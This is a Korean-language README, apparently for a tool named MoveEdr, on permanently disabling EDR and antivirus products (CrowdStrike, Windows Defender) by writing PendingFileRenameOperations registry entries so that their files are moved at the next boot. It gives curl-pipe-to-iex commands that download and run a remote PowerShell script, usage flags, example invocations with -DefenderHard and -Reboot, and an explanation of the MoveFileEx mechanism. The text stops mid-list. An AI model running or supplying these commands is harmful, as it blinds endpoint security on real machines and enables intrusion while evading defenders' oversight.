
로컬 관리자 권한으로 EDR을 영구적으로 비활성화
관리자라면 Windows가 서비스 시작 전에 부팅 직후 폴더와 파일을 강제로 삭제하거나 이동하도록 할 수 있습니다. 이를 사용하여 EDR을 비활성화할 수 있습니다.
[!CAUTION] CrowdStrike와 관련하여 "INACCESSIBLE_BOOT_DEVICE" 메시지와 함께 부팅 루프가 발생하는 문제가 있습니다. 제 추측으로는 CrowdStrike 자체 또는 소프트웨어 배포 솔루션이 누락된 CrowdStrike 파일을 설치하려고 시도하지만 실패하여 손상된 상태로 남는 것으로 보입니다. 이 문제가 이동 후 경과 시간 또는 수행된 재부팅 횟수에 따라 달라지는지는 확실하지 않습니다. 처음에 CrowdStrike를 이동하고 재부팅하는 것은 정상 작동합니다. 안전을 위해 첫 번째 재부팅 후 실행 취소를 예약하는 것이 좋습니다.
curl https://raw.githubusercontent.com/duhirsch/MoveEdr/refs/heads/main/MoveEdr.ps1 | iex; MoveEdr
# 재부팅!
다음 플래그를 사용할 수 있습니다:
Undo : EDR 이동을 취소합니다, CustomPaths와 함께 작동합니다Clear: 레지스트리 키 값을 지웁니다Print: 널 바이트로 종료되는 대신 사람이 읽을 수 있는 형식으로 레지스트리 키 값을 출력합니다CustomOnly: 기본적으로 CustomPaths와 FullyCustomPaths가 내장 이동에 추가됩니다. 이 플래그는 오직 사용자 지정 경로만 이동하도록 합니다.CustomPaths: 내장 경로 대신 자신의 EDR 경로를 지정합니다. 소스만 입력으로 받습니다. 대상도 사용자 지정하려면 대신 FullyCustomPaths를 사용하세요.FullyCustomPaths : 소스와 대상을 지정합니다. $Suffix를 사용하는 대신 대상에 대한 제어권을 제공합니다.Suffix: 기본값 _bak 대신 이동된 파일에 다른 접미사를 사용합니다Dump: 레지스트리 키 값을 Load와 함께 사용할 수 있는 형식으로 덤프합니다Load: 이전에 덤프된 레지스트리 키 값을 로드합니다DefenderHard: Windows Defender의 선택된 실행 파일만 이동하는 대신 전체 Windows Defender 폴더를 이동합니다IgnoreOld: 레지스트리 키의 기존 값을 유지하지 않고 무시하고 덮어씁니다Reboot: 레지스트리 키를 설정한 직후 재부팅을 수행합니다. Windows 업데이트를 수행할 수 있으며 재부팅에 오랜 시간이 걸릴 수 있습니다 😬curl https://raw.githubusercontent.com/duhirsch/MoveEdr/refs/heads/main/MoveEdr.ps1 | iex
MoveEdr -CustomPaths "C:\Program Files\newAndShinyEdr","C:\Windows\System32\drivers\newAndShinyEdr" -Suffix "_x33f" -IgnoreOld -DefenderHard -Reboot
# 필요한 작업을 수행하세요!
# 실행 취소
# 이전과 동일한 명령에 -Undo만 추가
curl https://raw.githubusercontent.com/duhirsch/MoveEdr/refs/heads/main/MoveEdr.ps1 | iex
MoveEdr -CustomPaths "C:\Program Files\newAndShinyEdr","C:\Windows\System32\drivers\newAndShinyEdr" -Suffix "_x33f" -IgnoreOld -DefenderHard -Reboot -Undo
일부 프로그램은 로컬 관리자조차도 제거하거나 비활성화하지 못하도록 하는 기능이 있습니다. 대부분의 경우 AV/EDR이며, 관리자임에도 비활성화 암호를 요구합니다.
파일과 폴더를 이동하여 다음 부팅 시 시작되지 않도록 하는 방법이 있습니다.
SysInternals의 PendMoves는 다음과 같은 설명이 포함된 movefile.exe를 제공합니다:
서비스 팩이나 핫픽스와 같은 여러 응용 프로그램은 사용 중인 파일을 교체해야 하며 교체할 수 없습니다. 따라서 Windows는 파일 이름을 바꾸거나 삭제하기 위해 MoveFileEx API를 제공하며 호출자가 파일이 참조되기 전에 다음 시스템 부팅 시 작업이 수행되도록 지정할 수 있습니다. 세션 관리자는 HKLM\System\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations 값에서 등록된 이름 바꾸기 및 삭제 명령을 읽어 이 작업을 수행합니다.
MoveFileEx는 정확히 어떻게 이를 수행할까요? 문서를 확인해 보겠습니다:
함수는 다시 시작 시 이름을 바꿀 파일의 위치를 다음 레지스트리 값에 저장합니다: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations
이 레지스트리 값은 REG_MULTI_SZ 형식입니다. 각 이름 바꾸기 작업은 삭제 여부에 따라 다음 NULL로 종료되는 문자열 중 하나를 저장합니다:
szSrcFile\0\0
szSrcFile\0szDstFile\0
즉, movefile.exe와 동일한 효과를 얻으려면 PendingFileRenameOperations 레지스트리 키를 만들고 삭제하려는 파일/디렉토리 경로를 올바른 REG_MULTI_SZ 형식으로 입력하면 됩니다.
MoveEdr 스크립트는 다음 AV/EDR에 대한 올바른 레지스트리 키 생성을 자동화합니다: